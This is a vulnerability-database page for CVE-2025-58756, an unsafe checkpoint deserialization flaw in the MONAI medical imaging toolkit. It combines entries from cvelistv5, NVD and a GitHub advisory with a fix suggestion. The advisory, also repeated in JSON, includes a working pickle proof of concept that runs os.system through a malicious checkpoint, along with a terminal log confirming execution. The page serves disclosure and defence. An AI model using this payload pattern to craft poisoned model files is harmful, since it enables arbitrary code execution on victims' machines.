cvelistv5 - cve-2025-58756

CVE-2025-58756 (GCVE-0-2025-58756)

Vulnerability from cvelistv5 – Published: 2025-09-08 23:39 – Updated: 2025-09-09 13:28

Title

MONAI's unsafe torch usage may lead to arbitrary code execution

Summary

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, in `model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)` in monai/bundle/scripts.py , `weights_only=True` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from other platforms. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. As of time of publication, no known fixed versions are available.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

GitHub_M

References

URL

Tags

https://github.com/Project-MONAI/MONAI/security/a…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	Project-MONAI	MONAI	Affected: <= 1.5.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-58756

Vulnerability from fkie_nvd - Published: 2025-09-09 00:15 - Updated: 2025-09-19 15:26

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	monai	medical_open_network_for_ai	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
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              "criteria": "cpe:2.3:a:monai:medical_open_network_for_ai:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "9410F21F-5E71-4190-97B6-9B2203699F79",
              "versionEndIncluding": "1.5.0",
              "vulnerable": true
            }
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    }
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  "lastModified": "2025-09-19T15:26:29.890",
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GHSA-6VM5-6JV9-RJPJ

Vulnerability from github – Published: 2025-09-09 21:19 – Updated: 2025-09-26 16:39

Summary

MONAI: Unsafe torch usage may lead to arbitrary code execution

Details

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.


import os  
import tempfile  
import json  
import torch  
from pathlib import Path  

class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  

def test_checkpoint_loader_attack():  



    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  


    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  


    torch.save(malicious_checkpoint, checkpoint_file)  


    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  


    model = nn.Linear(10, 1)  

    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  

    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  

    engine = MockEngine()  
    loader(engine)  


    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  

if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T21:19:59Z",
    "nvd_published_at": "2025-09-09T00:15:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIn ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.\n\nThis is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.\n\nLoading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.\n\nThe following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.\n\n```\n\nimport os  \nimport tempfile  \nimport json  \nimport torch  \nfrom pathlib import Path  \n  \nclass MaliciousPayload:  \n    def __reduce__(self):  \n        return (os.system, (\u0027touch /tmp/hacker2.txt\u0027,))  \n  \ndef test_checkpoint_loader_attack():  \n\n      \n\n    temp_dir = Path(tempfile.mkdtemp())  \n    checkpoint_file = temp_dir / \"malicious_checkpoint.pt\"  \n      \n\n    malicious_checkpoint = {  \n        \u0027model_state_dict\u0027: MaliciousPayload(),  \n        \u0027optimizer_state_dict\u0027: {},  \n        \u0027epoch\u0027: 100  \n    }  \n      \n\n    torch.save(malicious_checkpoint, checkpoint_file)  \n      \n     \n    from monai.handlers import CheckpointLoader  \n    import torch.nn as nn  \n          \n \n    model = nn.Linear(10, 1)  \n        \n    loader = CheckpointLoader(  \n        load_path=str(checkpoint_file),  \n        load_dict={\"model\": model}  \n    )  \n          \n    class MockEngine:  \n        def __init__(self):  \n            self.state = type(\u0027State\u0027, (), {})()  \n            self.state.max_epochs = None  \n            self.state.epoch = 0  \n          \n    engine = MockEngine()  \n    loader(engine)  \n          \n          \n    proof_file = \"/tmp/hacker2.txt\"  \n    if os.path.exists(proof_file):  \n        print(\"Succes\")  \n        #os.remove(proof_file)  \n        return True  \n    else:  \n        print(\"False\")  \n        return False  \n  \nif __name__ == \"__main__\":   \n    success = test_checkpoint_loader_attack()  \n\n```\nBecause my test environment is missing some content, an error will be reported during operation, but the operation is still executed.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py \nTraceback (most recent call last):\n  File \"/root/autodl-tmp/mmm/p2.py\", line 61, in \u003cmodule\u003e\n    success = test_checkpoint_loader_attack()  \n              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/autodl-tmp/mmm/p2.py\", line 48, in test_checkpoint_loader_attack\n    loader(engine)  \n    ^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py\", line 146, in __call__\n    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 624, in load_objects\n    _tree_apply2(_load_object, to_load, checkpoint_obj)\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 209, in _tree_apply2\n    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 216, in _tree_apply2\n    return func(x, y)\n           ^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 613, in _load_object\n    obj.load_state_dict(chkpt_obj, **kwargs)\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py\", line 2581, in load_state_dict\n    raise RuntimeError(\nRuntimeError: Error(s) in loading state_dict for Linear:\n        Missing key(s) in state_dict: \"weight\", \"bias\". \n        Unexpected key(s) in state_dict: \"model_state_dict\", \"optimizer_state_dict\", \"epoch\". \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa\n```\n\n\n### Impact\nLeading to arbitrary command execution\n### Fix suggestion\nUse a safe method to load, or force weights_only=True",
  "id": "GHSA-6vm5-6jv9-rjpj",
  "modified": "2025-09-26T16:39:51Z",
  "published": "2025-09-09T21:19:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/pull/8566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MONAI: Unsafe torch usage may lead to arbitrary code execution"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-58756 (GCVE-0-2025-58756)

FKIE_CVE-2025-58756

GHSA-6VM5-6JV9-RJPJ

Summary

Impact

Fix suggestion

Tags

Sightings

Nomenclature